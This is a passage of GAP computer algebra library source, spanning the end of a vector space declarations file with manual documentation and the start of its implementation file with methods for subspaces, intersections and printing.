<M>F</M>-basis\n##  from a list of vector space generators),\n##  and that <A>V</A> is handled via the mechanism of nice bases\n##  (see&nbsp;<Ref ???=\"...\"/>) in the following way.\n##  Let <M>K</M> be the field spanned by the entries of all vectors in\n##  <A>V</A>.\n##  Then the <Ref Attr=\"NiceFreeLeftModuleInfo\"/> value of <A>V</A> is\n##  a basis <M>B</M> of the field extension <M>K / ( K \\cap F )</M>,\n##  and the <Ref Func=\"NiceVector\"/> value of <M>v \\in <A>V</A></M>\n##  is defined by replacing each entry of <M>v</M> by the list of its\n##  <M>B</M>-coefficients, and then forming the concatenation.\n##  <P/>\n##  So the associated nice vector space is a Gaussian row space\n##  (see&nbsp;<Ref Func=\"IsGaussianRowSpace\"/>).\n##  </Description>\n##  </ManSection>\n##\nDeclareHandlingByNiceBasis( \"IsNonGaussianRowSpace\",\n    \"for non-Gaussian row spaces\" );\n\n\n#############################################################################\n##\n#F  IsMatrixSpace( <V> )\n##\n##  <#GAPDoc Label=\"IsMatrixSpace\">\n##  <ManSection>\n##  <Func Name=\"IsMatrixSpace\" Arg='V'/>\n##\n##  <Description>\n##  A <E>matrix space</E> in &GAP; is a vector space that consists of matrices\n##  (see Chapter&nbsp;<Ref Chap=\"Matrices\"/>).\n##  </Description>\n##  </ManSection>\n##  <#/GAPDoc>\n##\nDeclareSynonym( \"IsMatrixSpace\", IsMatrixModule and IsVectorSpace );\n\n\n#############################################################################\n##\n#F  IsGaussianMatrixSpace( <V> )\n##\n##  <ManSection>\n##  <Func Name=\"IsGaussianMatrixSpace\" Arg='V'/>\n##\n##  <Description>\n##  A matrix space is Gaussian if the left acting domain contains all\n##  scalars that occur in the vectors.\n##  Thus one can use Gaussian elimination in the calculations.\n##  <P/>\n##  (Otherwise the space is non-Gaussian.\n##  We will need a flag for this to write down methods that delegate from\n##  non-Gaussian spaces to Gaussian ones.)\n##  </Description>\n##  </ManSection>\n##\nDeclareSynonym( \"IsGaussianMatrixSpace\", IsGaussianSpace and IsMatrixSpace );\n\n\n#############################################################################\n##\n#F  IsNonGaussianMatrixSpace( <V> )\n##\n##  <ManSection>\n##  <Func Name=\"IsNonGaussianMatrixSpace\" Arg='V'/>\n##\n##  <Description>\n##  If an <M>F</M>-vector space <A>V</A> is in the filter\n##  <Ref Func=\"IsNonGaussianMatrixSpace\"/>\n##  then this expresses that <A>V</A> consists of matrices\n##  (see&nbsp;<Ref Func=\"IsMatrix\"/>)\n##  such that not all entries in these matrices are contained in <M>F</M>\n##  (so Gaussian elimination cannot be used to compute an <M>F</M>-basis\n##  from a list of vector space generators),\n##  and that <A>V</A> is handled via the mechanism of nice bases\n##  (see&nbsp;<Ref ???=\"...\"/>) in the following way.\n##  Let <M>K</M> be the field spanned by the entries of all vectors in <A>V</A>.\n##  The <Ref Attr=\"NiceFreeLeftModuleInfo\"/> value of <A>V</A> is irrelevant,\n##  and the <Ref Func=\"NiceVector\"/> value of <M>v \\in <A>V</A></M>\n##  is defined as the concatenation of the rows of <M>v</M>.\n##  <P/>\n##  So the associated nice vector space is a (not necessarily Gaussian)\n##  row space (see&nbsp;<Ref Func=\"IsRowSpace\"/>).\n##  </Description>\n##  </ManSection>\n##\nDeclareHandlingByNiceBasis( \"IsNonGaussianMatrixSpace\",\n    \"for non-Gaussian matrix spaces\" );\n\n\n#############################################################################\n##\n#A  NormedRowVectors( <V> ) . . .  normed vectors in a Gaussian row space <V>\n##\n##  <#GAPDoc Label=\"NormedRowVectors\">\n##  <ManSection>\n##  <Attr Name=\"NormedRowVectors\" Arg='V'/>\n##\n##  <Description>\n##  For a finite Gaussian row space <A>V</A>\n##  (see&nbsp;<Ref Func=\"IsRowSpace\"/>, <Ref Func=\"IsGaussianSpace\"/>),\n##  <Ref Attr=\"NormedRowVectors\"/> returns a list of those nonzero\n##  vectors in <A>V</A> that have a one in the first nonzero component.\n##  <P/>\n##  The result list can be used as action domain for the action of a matrix\n##  group via <Ref Func=\"OnLines\"/>, which yields the natural action on\n##  one-dimensional subspaces of <A>V</A>\n##  (see also&nbsp;<Ref Func=\"Subspaces\"/>).\n##  <Example><![CDATA[\n##  gap> vecs:= NormedRowVectors( GF(3)^2 );\n##  [ [ 0*Z(3), Z(3)^0 ], [ Z(3)^0, 0*Z(3) ], [ Z(3)^0, Z(3)^0 ], \n##    [ Z(3)^0, Z(3) ] ]\n##  gap> Action( GL(2,3), vecs, OnLines );\n##  Group([ (3,4), (1,2,4) ])\n##  ]]></Example>\n##  </Description>\n##  </ManSection>\n##  <#/GAPDoc>\n##\nDeclareAttribute( \"NormedRowVectors\", IsGaussianSpace );\n\n\n#############################################################################\n##\n#A  TrivialSubspace( <V> )\n##\n##  <#GAPDoc Label=\"TrivialSubspace\">\n##  <ManSection>\n##  <Attr Name=\"TrivialSubspace\" Arg='V'/>\n##\n##  <Description>\n##  For a vector space <A>V</A>, <Ref Attr=\"TrivialSubspace\"/> returns the\n##  subspace of <A>V</A> that consists of the zero vector in <A>V</A>.\n##  <Example><![CDATA[\n##  gap> V:= GF(3)^3;;\n##  gap> triv:= TrivialSubspace( V );\n##  <vector space over GF(3), with 0 generators>\n##  gap> AsSet( triv );\n##  [ [ 0*Z(3), 0*Z(3), 0*Z(3) ] ]\n##  ]]></Example>\n##  </Description>\n##  </ManSection>\n##  <#/GAPDoc>\n##\nDeclareSynonymAttr( \"TrivialSubspace\", TrivialSubmodule );\n\n\n#############################################################################\n##\n#F  VectorSpace( <F>, <gens>[, <zero>][, \"basis\"] )\n##\n##  <#GAPDoc Label=\"VectorSpace\">\n##  <ManSection>\n##  <Func Name=\"VectorSpace\" Arg='F, gens[, zero][, \"basis\"]'/>\n##\n##  <Description>\n##  For a field <A>F</A> and a collection <A>gens</A> of vectors,\n##  <Ref Func=\"VectorSpace\"/> returns the <A>F</A>-vector space spanned by\n##  the elements in <A>gens</A>.\n##  <P/>\n##  The optional argument <A>zero</A> can be used to specify the zero element\n##  of the space; <A>zero</A> <E>must</E> be given if <A>gens</A> is empty.\n##  The optional string <C>\"basis\"</C> indicates that <A>gens</A> is known to\n##  be linearly independent over <A>F</A>, in particular the dimension of the\n##  vector space is immediately set;\n##  note that <Ref Func=\"Basis\"/> need <E>not</E> return the basis formed by\n##  <A>gens</A> if the string <C>\"basis\"</C> is given as an argument.\n##  <!-- crossref. to <C>FreeLeftModule</C> as soon as the modules chapter\n##       is reliable!-->\n##  <Example><![CDATA[\n##  gap> V:= VectorSpace( Rationals, [ [ 1, 2, 3 ], [ 1, 1, 1 ] ] );\n##  <vector space over Rationals, with 2 generators>\n##  ]]></Example>\n##  </Description>\n##  </ManSection>\n##  <#/GAPDoc>\n##\nDeclareGlobalFunction( \"VectorSpace\" );\n\n\n#############################################################################\n##\n#F  Subspace( <V>, <gens>[, \"basis\"] )  . subspace of <V> generated by <gens>\n#F  SubspaceNC( <V>, <gens>[, \"basis\"] )\n##\n##  <#GAPDoc Label=\"Subspace\">\n##  <ManSection>\n##  <Func Name=\"Subspace\" Arg='V, gens[, \"basis\"]'/>\n##  <Func Name=\"SubspaceNC\" Arg='V, gens[, \"basis\"]'/>\n##\n##  <Description>\n##  For an <M>F</M>-vector space <A>V</A> and a list or collection\n##  <A>gens</A> that is a subset of <A>V</A>,\n##  <Ref Func=\"Subspace\"/> returns the <M>F</M>-vector space spanned by\n##  <A>gens</A>; if <A>gens</A> is empty then the trivial subspace\n##  (see&nbsp;<Ref Func=\"TrivialSubspace\"/>) of <A>V</A> is returned.\n##  The parent (see&nbsp;<Ref Sect=\"Parents\"/>) of the returned vector space\n##  is set to <A>V</A>.\n##  <P/>\n##  <Ref Func=\"SubspaceNC\"/> does the same as <Ref Func=\"Subspace\"/>,\n##  except that it omits the check whether <A>gens</A> is a subset of\n##  <A>V</A>.\n##  <P/>\n##  The optional string <A>\"basis\"</A> indicates that <A>gens</A> is known to\n##  be linearly independent over <M>F</M>.\n##  In this case the dimension of the subspace is immediately set,\n##  and both <Ref Func=\"Subspace\"/> and <Ref Func=\"SubspaceNC\"/> do\n##  <E>not</E> check whether <A>gens</A> really is linearly independent and\n##  whether <A>gens</A> is a subset of <A>V</A>.\n##  <!-- crossref. to <C>Submodule</C> as soon as the modules chapter\n##       is reliable!-->\n##  <Example><![CDATA[\n##  gap> V:= VectorSpace( Rationals, [ [ 1, 2, 3 ], [ 1, 1, 1 ] ] );;\n##  gap> W:= Subspace( V, [ [ 0, 1, 2 ] ] );\n##  <vector space over Rationals, with 1 generators>\n##  ]]></Example>\n##  </Description>\n##  </ManSection>\n##  <#/GAPDoc>\n##\nDeclareSynonym( \"Subspace\", Submodule );\n\nDeclareSynonym( \"SubspaceNC\", SubmoduleNC );\n\n\n#############################################################################\n##\n#O  AsVectorSpace( <F>, <D> ) . . . . . . . . .  view <D> as <F>-vector space\n##\n##  <#GAPDoc Label=\"AsVectorSpace\">\n##  <ManSection>\n##  <Oper Name=\"AsVectorSpace\" Arg='F, D'/>\n##\n##  <Description>\n##  Let <A>F</A> be a division ring and <A>D</A> a domain.\n##  If the elements in <A>D</A> form an <A>F</A>-vector space then\n##  <Ref Oper=\"AsVectorSpace\"/> returns this <A>F</A>-vector space,\n##  otherwise <K>fail</K> is returned.\n##  <P/>\n##  <Ref Oper=\"AsVectorSpace\"/> can be used for example to view a given\n##  vector space as a vector space over a smaller or larger division ring.\n##  <Example><![CDATA[\n##  gap> V:= FullRowSpace( GF( 27 ), 3 );\n##  ( GF(3^3)^3 )\n##  gap> Dimension( V );  LeftActingDomain( V );\n##  3\n##  GF(3^3)\n##  gap> W:= AsVectorSpace( GF( 3 ), V );\n##  <vector space over GF(3), with 9 generators>\n##  gap> Dimension( W );  LeftActingDomain( W );\n##  9\n##  GF(3)\n##  gap> AsVectorSpace( GF( 9 ), V );\n##  fail\n##  ]]></Example>\n##  </Description>\n##  </ManSection>\n##  <#/GAPDoc>\n##\nDeclareSynonym( \"AsVectorSpace\", AsLeftModule );\n\n\n#############################################################################\n##\n#O  AsSubspace( <V>, <U> )  . . . . . . . . . . . view <U> as subspace of <V>\n##\n##  <#GAPDoc Label=\"AsSubspace\">\n##  <ManSection>\n##  <Oper Name=\"AsSubspace\" Arg='V, U'/>\n##\n##  <Description>\n##  Let <A>V</A> be an <M>F</M>-vector space, and <A>U</A> a collection.\n##  If <A>U</A> is a subset of <A>V</A> such that the elements of <A>U</A>\n##  form an <M>F</M>-vector space then <Ref Oper=\"AsSubspace\"/> returns this\n##  vector space, with parent set to <A>V</A>\n##  (see&nbsp;<Ref Func=\"AsVectorSpace\"/>).\n##  Otherwise <K>fail</K> is returned.\n##  <Example><![CDATA[\n##  gap> V:= VectorSpace( Rationals, [ [ 1, 2, 3 ], [ 1, 1, 1 ] ] );;\n##  gap> W:= VectorSpace( Rationals, [ [ 1/2, 1/2, 1/2 ] ] );;\n##  gap> U:= AsSubspace( V, W );\n##  <vector space over Rationals, with 1 generators>\n##  gap> Parent( U ) = V;\n##  true\n##  gap> AsSubspace( V, [ [ 1, 1, 1 ] ] );\n##  fail\n##  ]]></Example>\n##  </Description>\n##  </ManSection>\n##  <#/GAPDoc>\n##\nDeclareOperation( \"AsSubspace\", [ IsVectorSpace, IsCollection ] );\n\n\n#############################################################################\n##\n#F  Intersection2Spaces( <AsStruct>, <Substruct>, <Struct> )\n##\n##  <ManSection>\n##  <Func Name=\"Intersection2Spaces\" Arg='AsStruct, Substruct, Struct'/>\n##\n##  <Description>\n##  is a function that takes two arguments <A>V</A> and <A>W</A> which must\n##  be finite dimensional vector spaces,\n##  and returns the intersection of <A>V</A> and <A>W</A>.\n##  <P/>\n##  If the left acting domains are different then let <M>F</M> be their\n##  intersection.\n##  The intersection of <A>V</A> and <A>W</A> is computed as intersection of\n##  <C><A>AsStruct</A>( <A>F</A>, <A>V</A> )</C> and\n##  <C><A>AsStruct</A>( <A>F</A>, <A>V</A> )</C>.\n##  <P/>\n##  If the left acting domains are equal to <M>F</M> then the intersection of\n##  <A>V</A> and <A>W</A> is returned either as <M>F</M>-<A>Substruct</A>\n##  with the common parent of <A>V</A> and <A>W</A> or as\n##  <M>F</M>-<A>Struct</A>, in both cases with known basis.\n##  <P/>\n##  This function is used to handle the intersections of two vector spaces,\n##  two algebras, two algebras-with-one, two left ideals, two right ideals,\n##  two two-sided ideals.\n##  </Description>\n##  </ManSection>\n##\nDeclareGlobalFunction( \"Intersection2Spaces\" );\n\n\n#############################################################################\n##\n#F  FullRowSpace( <F>, <n> )\n##\n##  <#GAPDoc Label=\"FullRowSpace\">\n##  <ManSection>\n##  <Func Name=\"FullRowSpace\" Arg='F, n'/>\n##  <Meth Name=\"\\^\" Arg='F, n' Label=\"for a field and an integer\"/>\n##\n##  <Description>\n##  For a field <A>F</A> and a nonnegative integer <A>n</A>,\n##  <Ref Func=\"FullRowSpace\"/> returns the <A>F</A>-vector space that\n##  consists of all row vectors (see&nbsp;<Ref Func=\"IsRowVector\"/>) of\n##  length <A>n</A> with entries in <A>F</A>.\n##  <P/>\n##  An alternative to construct this vector space is via\n##  <A>F</A><C>^</C><A>n</A>.\n##  <Example><![CDATA[\n##  gap> FullRowSpace( GF( 9 ), 3 );\n##  ( GF(3^2)^3 )\n##  gap> GF(9)^3;           # the same as above\n##  ( GF(3^2)^3 )\n##  ]]></Example>\n##  </Description>\n##  </ManSection>\n##  <#/GAPDoc>\n##\nDeclareSynonym( \"FullRowSpace\", FullRowModule );\nDeclareSynonym( \"RowSpace\", FullRowModule );\n\n\n#############################################################################\n##\n#F  FullMatrixSpace( <F>, <m>, <n> )\n##\n##  <#GAPDoc Label=\"FullMatrixSpace\">\n##  <ManSection>\n##  <Func Name=\"FullMatrixSpace\" Arg='F, m, n'/>\n##  <Meth Name=\"\\^\" Arg='F, dims'\n##   Label=\"for a field and a pair of integers\"/>\n##\n##  <Description>\n##  For a field <A>F</A> and two positive integers <A>m</A> and <A>n</A>,\n##  <Ref Func=\"FullMatrixSpace\"/> returns the <A>F</A>-vector space that\n##  consists of all <A>m</A> by <A>n</A> matrices\n##  (see&nbsp;<Ref Func=\"IsMatrix\"/>) with entries in <A>F</A>.\n##  <P/>\n##  If <A>m</A><C> = </C><A>n</A> then the result is in fact an algebra\n##  (see&nbsp;<Ref Func=\"FullMatrixAlgebra\"/>).\n##  <P/>\n##  An alternative to construct this vector space is via\n##  <A>F</A><C>^[</C><A>m</A>,<A>n</A><C>]</C>.\n##  <Example><![CDATA[\n##  gap> FullMatrixSpace( GF(2), 4, 5 );\n##  ( GF(2)^[ 4, 5 ] )\n##  gap> GF(2)^[ 4, 5 ];    # the same as above\n##  ( GF(2)^[ 4, 5 ] )\n##  ]]></Example>\n##  </Description>\n##  </ManSection>\n##  <#/GAPDoc>\n##\nDeclareSynonym( \"FullMatrixSpace\", FullMatrixModule );\nDeclareSynonym( \"MatrixSpace\", FullMatrixModule );\nDeclareSynonym( \"MatSpace\", FullMatrixModule );\n\n\n#############################################################################\n##\n#C  IsSubspacesVectorSpace( <D> )\n##\n##  <#GAPDoc Label=\"IsSubspacesVectorSpace\">\n##  <ManSection>\n##  <Filt Name=\"IsSubspacesVectorSpace\" Arg='D' Type='Category'/>\n##\n##  <Description>\n##  The domain of all subspaces of a (finite) vector space or of all\n##  subspaces of fixed dimension, as returned by <Ref Func=\"Subspaces\"/>\n##  (see&nbsp;<Ref Func=\"Subspaces\"/>) lies in the category\n##  <Ref Filt=\"IsSubspacesVectorSpace\"/>.\n##  <Example><![CDATA[\n##  gap> D:= Subspaces( GF(3)^3 );\n##  Subspaces( ( GF(3)^3 ) )\n##  gap> Size( D );\n##  28\n##  gap> iter:= Iterator( D );;\n##  gap> NextIterator( iter );\n##  <vector space over GF(3), with 0 generators>\n##  gap> NextIterator( iter );\n##  <vector space of dimension 1 over GF(3)>\n##  gap> IsSubspacesVectorSpace( D );\n##  true\n##  ]]></Example>\n##  </Description>\n##  </ManSection>\n##  <#/GAPDoc>\n##\nDeclareCategory( \"IsSubspacesVectorSpace\", IsDomain );\n\n\n#############################################################################\n##\n#M  IsFinite( <D> ) . . . . . . . . . . . . . . . . .  for a subspaces domain\n##\n##  Returns `true' if <D> is finite.\n##  We allow subspaces domains in `IsSubspacesVectorSpace' only for finite\n##  vector spaces.\n##\nInstallTrueMethod( IsFinite, IsSubspacesVectorSpace );\n\n\n#############################################################################\n##\n#A  Subspaces( <V>[, <k>] )\n##\n##  <#GAPDoc Label=\"Subspaces\">\n##  <ManSection>\n##  <Attr Name=\"Subspaces\" Arg='V[, k]'/>\n##\n##  <Description>\n##  Called with a finite vector space <A>v</A>,\n##  <Ref Oper=\"Subspaces\"/> returns the domain of all subspaces of <A>V</A>.\n##  <P/>\n##  Called with <A>V</A> and a nonnegative integer <A>k</A>,\n##  <Ref Oper=\"Subspaces\"/> returns the domain of all <A>k</A>-dimensional\n##  subspaces of <A>V</A>.\n##  <P/>\n##  Special <Ref Attr=\"Size\"/> and <Ref Oper=\"Iterator\"/> methods are\n##  provided for these domains.\n##  <!-- <C>Enumerator</C> would also be good ...\n##       (special treatment for full row spaces,\n##       other spaces delegate to this)-->\n##  </Description>\n##  </ManSection>\n##  <#/GAPDoc>\n##\nDeclareAttribute( \"Subspaces\", IsLeftModule );\nDeclareOperation( \"Subspaces\", [ IsLeftModule, IsInt ] );\n\n\n#############################################################################\n##\n#F  IsSubspace( <V>, <U> )\n##\n##  <ManSection>\n##  <Func Name=\"IsSubspace\" Arg='V, U'/>\n##\n##  <Description>\n##  check that <A>U</A> is a vector space that is contained in <A>V</A>\n##  <!-- Must also <A>V</A> be a vector space?\n##       If yes then must <A>V</A> and <A>U</A> have same left acting domain?\n##       (Is this function useful at all?) -->\n##  </Description>\n##  </ManSection>\n##\nDeclareGlobalFunction( \"IsSubspace\" );\n\n\n#############################################################################\n##\n#A  OrthogonalSpaceInFullRowSpace( <U> )\n##\n##  <ManSection>\n##  <Attr Name=\"OrthogonalSpaceInFullRowSpace\" Arg='U'/>\n##\n##  <Description>\n##  For a Gaussian row space <A>U</A> over <M>F</M>,\n##  <Ref Attr=\"OrthogonalSpaceInFullRowSpace\"/>\n##  returns a complement of <A>U</A> in the full row space of same vector\n##  dimension as <A>U</A> over <M>F</M>.\n##  </Description>\n##  </ManSection>\n##\nDeclareAttribute( \"OrthogonalSpaceInFullRowSpace\", IsGaussianSpace );\n\n\n#############################################################################\n##\n#P  IsVectorSpaceHomomorphism( <map> )\n##\n##  <ManSection>\n##  <Prop Name=\"IsVectorSpaceHomomorphism\" Arg='map'/>\n##\n##  <Description>\n##  A mapping <M>f</M> is a vector space homomorphism (or linear mapping)\n##  if the source and range are vector spaces\n##  (see&nbsp;<Ref Func=\"IsVectorSpace\"/>)\n##  over the same division ring <M>D</M>\n##  (see&nbsp;<Ref Func=\"LeftActingDomain\"/>),\n##  and if <M>f( a + b ) = f(a) + f(b)</M> and <M>f( s * a ) = s * f(a)</M>\n##  hold for all elements <M>a</M>, <M>b</M> in the source of <M>f</M> and\n##  <M>s \\in D</M>.\n##  </Description>\n##  </ManSection>\n##\nDeclareProperty( \"IsVectorSpaceHomomorphism\", IsGeneralMapping );\n\n\n#############################################################################\n##\n#E\n\n"
  },
  {
    "path": "samples/GAP/vspc.gi",
    "content": "#############################################################################\n##\n#W  vspc.gi                     GAP library                     Thomas Breuer\n##\n##\n#Y  Copyright (C)  1997,  Lehrstuhl D für Mathematik,  RWTH Aachen,  Germany\n#Y  (C) 1998 School Math and Comp. Sci., University of St Andrews, Scotland\n#Y  Copyright (C) 2002 The GAP Group\n##\n##  This file contains generic methods for vector spaces.\n##\n\n\n#############################################################################\n##\n#M  SetLeftActingDomain( <extL>, <D> )\n##\n##  check whether the left acting domain <D> of the external left set <extL>\n##  knows that it is a division ring.\n##  This is used, e.g.,  to tell a free module over a division ring\n##  that it is a vector space.\n##\nInstallOtherMethod( SetLeftActingDomain,\n    \"method to set also 'IsLeftActedOnByDivisionRing'\",\n    [ IsAttributeStoringRep and IsLeftActedOnByRing, IsObject ],0,\n    function( extL, D )\n    if HasIsDivisionRing( D ) and IsDivisionRing( D ) then\n      SetIsLeftActedOnByDivisionRing( extL, true );\n    fi;\n    TryNextMethod();\n    end );\n\n\n#############################################################################\n##\n#M  IsLeftActedOnByDivisionRing( <M> )\n##\nInstallMethod( IsLeftActedOnByDivisionRing,\n    \"method for external left set that is left acted on by a ring\",\n    [ IsExtLSet and IsLeftActedOnByRing ],\n    function( M )\n    if IsIdenticalObj( M, LeftActingDomain( M ) ) then\n      TryNextMethod();\n    else\n      return IsDivisionRing( LeftActingDomain( M ) );\n    fi;\n    end );\n\n\n#############################################################################\n##\n#F  VectorSpace( <F>, <gens>[, <zero>][, \"basis\"] )\n##\n##  The only difference between `VectorSpace' and `FreeLeftModule' shall be\n##  that the left acting domain of a vector space must be a division ring.\n##\nInstallGlobalFunction( VectorSpace, function( arg )\n    if Length( arg ) = 0 or not IsDivisionRing( arg[1] ) then\n      Error( \"usage: VectorSpace( <F>, <gens>[, <zero>][, \\\"basis\\\"] )\" );\n    fi;\n    return CallFuncList( FreeLeftModule, arg );\n    end );\n\n\n#############################################################################\n##\n#M  AsSubspace( <V>, <C> )  . . . . . . . for a vector space and a collection\n##\nInstallMethod( AsSubspace,\n    \"for a vector space and a collection\",\n    [ IsVectorSpace, IsCollection ],\n    function( V, C )\n    local newC;\n\n    if not IsSubset( V, C ) then\n      return fail;\n    fi;\n    newC:= AsVectorSpace( LeftActingDomain( V ), C );\n    if newC = fail then\n      return fail;\n    fi;\n    SetParent( newC, V );\n    UseIsomorphismRelation( C, newC );\n    UseSubsetRelation( C, newC );\n\n    return newC;\n    end );\n\n\n#############################################################################\n##\n#M  AsLeftModule( <F>, <V> )  . . . . . .  for division ring and vector space\n##\n##  View the vector space <V> as a vector space over the division ring <F>.\n##\nInstallMethod( AsLeftModule,\n    \"method for a division ring and a vector space\",\n    [ IsDivisionRing, IsVectorSpace ],\n    function( F, V )\n\n    local W,        # the space, result\n          base,     # basis vectors of field extension\n          gen,      # loop over generators of 'V'\n          b,        # loop over 'base'\n          gens,     # generators of 'V'\n          newgens;  # extended list of generators\n\n    if Characteristic( F ) <> Characteristic( LeftActingDomain( V ) ) then\n\n      # This is impossible.\n      return fail;\n\n    elif F = LeftActingDomain( V ) then\n\n      # No change of the left acting domain is necessary.\n      return V;\n\n    elif IsSubset( F, LeftActingDomain( V ) ) then\n\n      # Check whether 'V' is really a space over the bigger field,\n      # that is, whether the set of elements does not change.\n      base:= BasisVectors( Basis( AsField( LeftActingDomain( V ), F ) ) );\n      for gen in GeneratorsOfLeftModule( V ) do\n        for b in base do\n          if not b * gen in V then\n\n            # The field extension would change the set of elements.\n            return fail;\n\n          fi;\n        od;\n      od;\n\n      # Construct the space.\n      W:= LeftModuleByGenerators( F, GeneratorsOfLeftModule(V), Zero(V) );\n\n    elif IsSubset( LeftActingDomain( V ), F ) then\n\n      # View 'V' as a space over a smaller field.\n      # For that, the list of generators must be extended.\n      gens:= GeneratorsOfLeftModule( V );\n      if IsEmpty( gens ) then\n        W:= LeftModuleByGenerators( F, [], Zero( V ) );\n      else\n\n        base:= BasisVectors( Basis( AsField( F, LeftActingDomain( V ) ) ) );\n        newgens:= [];\n        for b in base do\n          for gen in gens do\n            Add( newgens, b * gen );\n          od;\n        od;\n        W:= LeftModuleByGenerators( F, newgens );\n\n      fi;\n\n    else\n\n      # View 'V' first as space over the intersection of fields,\n      # and then over the desired field.\n      return AsLeftModule( F,\n                 AsLeftModule( Intersection( F,\n                     LeftActingDomain( V ) ), V ) );\n\n    fi;\n\n    UseIsomorphismRelation( V, W );\n    UseSubsetRelation( V, W );\n    return W;\n    end );\n\n\n#############################################################################\n##\n#M  ViewObj( <V> )  . . . . . . . . . . . . . . . . . . . view a vector space\n##\n##  print left acting domain, if known also dimension or no. of generators\n##\nInstallMethod( ViewObj,\n    \"for vector space with known generators\",\n    [ IsVectorSpace and HasGeneratorsOfLeftModule ],\n    function( V )\n    Print( \"<vector space over \", LeftActingDomain( V ), \", with \",\n           Length( GeneratorsOfLeftModule( V ) ), \" generators>\" );\n    end );\n\nInstallMethod( ViewObj,\n    \"for vector space with known dimension\",\n    [ IsVectorSpace and HasDimension ],\n    1, # override method for known generators\n    function( V )\n    Print( \"<vector space of dimension \", Dimension( V ),\n           \" over \", LeftActingDomain( V ), \">\" );\n    end );\n\nInstallMethod( ViewObj,\n    \"for vector space\",\n    [ IsVectorSpace ],\n    function( V )\n    Print( \"<vector space over \", LeftActingDomain( V ), \">\" );\n    end );\n\n\n#############################################################################\n##\n#M  PrintObj( <V> ) . . . . . . . . . . . . . . . . . . .  for a vector space\n##\nInstallMethod( PrintObj,\n    \"method for vector space with left module generators\",\n    [ IsVectorSpace and HasGeneratorsOfLeftModule ],\n    function( V )\n    Print( \"VectorSpace( \", LeftActingDomain( V ), \", \",\n           GeneratorsOfLeftModule( V ) );\n    if IsEmpty( GeneratorsOfLeftModule( V ) ) and HasZero( V ) then\n      Print( \", \", Zero( V ), \" )\" );\n    else\n      Print( \" )\" );\n    fi;\n    end );\n\nInstallMethod( PrintObj,\n    \"method for vector space\",\n    [ IsVectorSpace ],\n    function( V )\n    Print( \"VectorSpace( \", LeftActingDomain( V ), \", ... )\" );\n    end );\n\n\n#############################################################################\n##\n#M  \\/( <V>, <W> )  . . . . . . . . .  factor of a vector space by a subspace\n#M  \\/( <V>, <vectors> )  . . . . . .  factor of a vector space by a subspace\n##\nInstallOtherMethod( \\/,\n    \"method for vector space and collection\",\n    IsIdenticalObj,\n    [ IsVectorSpace, IsCollection ],\n    function( V, vectors )\n    if IsVectorSpace( vectors ) then\n      TryNextMethod();\n    else\n      return V / Subspace( V, vectors );\n    fi;\n    end );\n\nInstallOtherMethod( \\/,\n    \"generic method for two vector spaces\",\n    IsIdenticalObj,\n    [ IsVectorSpace, IsVectorSpace ],\n    function( V, W )\n    return ImagesSource( NaturalHomomorphismBySubspace( V, W ) );\n    end );\n\n\n#############################################################################\n##\n#M  Intersection2Spaces( <AsStruct>, <Substruct>, <Struct> )\n##\nInstallGlobalFunction( Intersection2Spaces,\n    function( AsStructure, Substructure, Structure )\n    return function( V, W )\n    local inters,  # intersection, result\n          F,       # coefficients field\n          gensV,   # list of generators of 'V'\n          gensW,   # list of generators of 'W'\n          VW,      # sum of 'V' and 'W'\n          B;       # basis of 'VW'\n\n    if LeftActingDomain( V ) <> LeftActingDomain( W ) then\n\n      # Compute the intersection as vector space over the intersection\n      # of the coefficients fields.\n      # (Note that the characteristic is the same.)\n      F:= Intersection2( LeftActingDomain( V ), LeftActingDomain( W ) );\n      return Intersection2( AsStructure( F, V ), AsStructure( F, W ) );\n\n    elif IsFiniteDimensional( V ) and IsFiniteDimensional( W ) then\n\n      # Compute the intersection of two spaces over the same field.\n      gensV:= GeneratorsOfLeftModule( V );\n      gensW:= GeneratorsOfLeftModule( W );\n      if   IsEmpty( gensV ) then\n        if Zero( V ) in W then\n          inters:= V;\n        else\n          inters:= [];\n        fi;\n      elif IsEmpty( gensW ) then\n        if Zero( V ) in W then\n          inters:= W;\n        else\n          inters:= [];\n        fi;\n      else\n        # Compute a common coefficient space.\n        VW:= LeftModuleByGenerators( LeftActingDomain( V ),\n                                     Concatenation( gensV, gensW ) );\n        B:= Basis( VW );\n\n        # Construct the coefficient subspaces corresponding to 'V' and 'W'.\n        gensV:= List( gensV, x -> Coefficients( B, x ) );\n        gensW:= List( gensW, x -> Coefficients( B, x ) );\n\n        # Construct the intersection of row spaces, and carry back to VW.\n        inters:= List( SumIntersectionMat( gensV, gensW )[2],\n                       x -> LinearCombination( B, x ) );\n\n        # Construct the intersection space, if possible with a parent.\n        if     HasParent( V ) and HasParent( W )\n           and IsIdenticalObj( Parent( V ), Parent( W ) ) then\n          inters:= Substructure( Parent( V ), inters, \"basis\" );\n        elif IsEmpty( inters ) then\n          inters:= Substructure( V, inters, \"basis\" );\n          SetIsTrivial( inters, true );\n        else\n          inters:= Structure( LeftActingDomain( V ), inters, \"basis\" );\n        fi;\n\n        # Run implications by the subset relation.\n        UseSubsetRelation( V, inters );\n        UseSubsetRelation( W, inters );\n      fi;\n\n      # Return the result.\n      return inters;\n\n    else\n      TryNextMethod();\n    fi;\n    end;\nend );\n\n\n#############################################################################\n##\n#M  Intersection2( <V>, <W> ) . . . . . . . . . . . . . for two vector spaces\n##\nInstallMethod( Intersection2,\n    \"method for two vector spaces\",\n    IsIdenticalObj,\n    [ IsVectorSpace, IsVectorSpace ],\n    Intersection2Spaces( AsLeftModule, SubspaceNC, VectorSpace ) );\n\n\n#############################################################################\n##\n#M  ClosureLeftModule( <V>, <a> ) . . . . . . . . . closure of a vector space\n##\nInstallMethod( ClosureLeftModule,\n    \"method for a vector space with basis, and a vector\",\n    IsCollsElms,\n    [ IsVectorSpace and HasBasis, IsVector ],\n    function( V, w )\n    local   B; # basis of 'V'\n\n    # We can test membership easily.\n    B:= Basis( V );\n#T why easily?\n    if Coefficients( B, w ) = fail then\n\n      # In the case of a vector space, we know a basis of the closure.\n      B:= Concatenation( BasisVectors( B ), [ w ] );\n      V:= LeftModuleByGenerators( LeftActingDomain( V ), B );\n      UseBasis( V, B );\n\n    fi;\n    return V;\n    end );\n\n\n#############################################################################\n##\n##  Methods for collections of subspaces of a vector space\n##\n\n\n#############################################################################\n##\n#R  IsSubspacesVectorSpaceDefaultRep( <D> )\n##\n##  is the representation of domains of subspaces of a vector space <V>,\n##  with the components 'structure' (with value <V>) and 'dimension'\n##  (with value either the dimension of the subspaces in the domain\n##  or the string '\\\"all\\\"', which means that the domain contains all\n##  subspaces of <V>).\n##\nDeclareRepresentation(\n    \"IsSubspacesVectorSpaceDefaultRep\",\n    IsComponentObjectRep,\n    [ 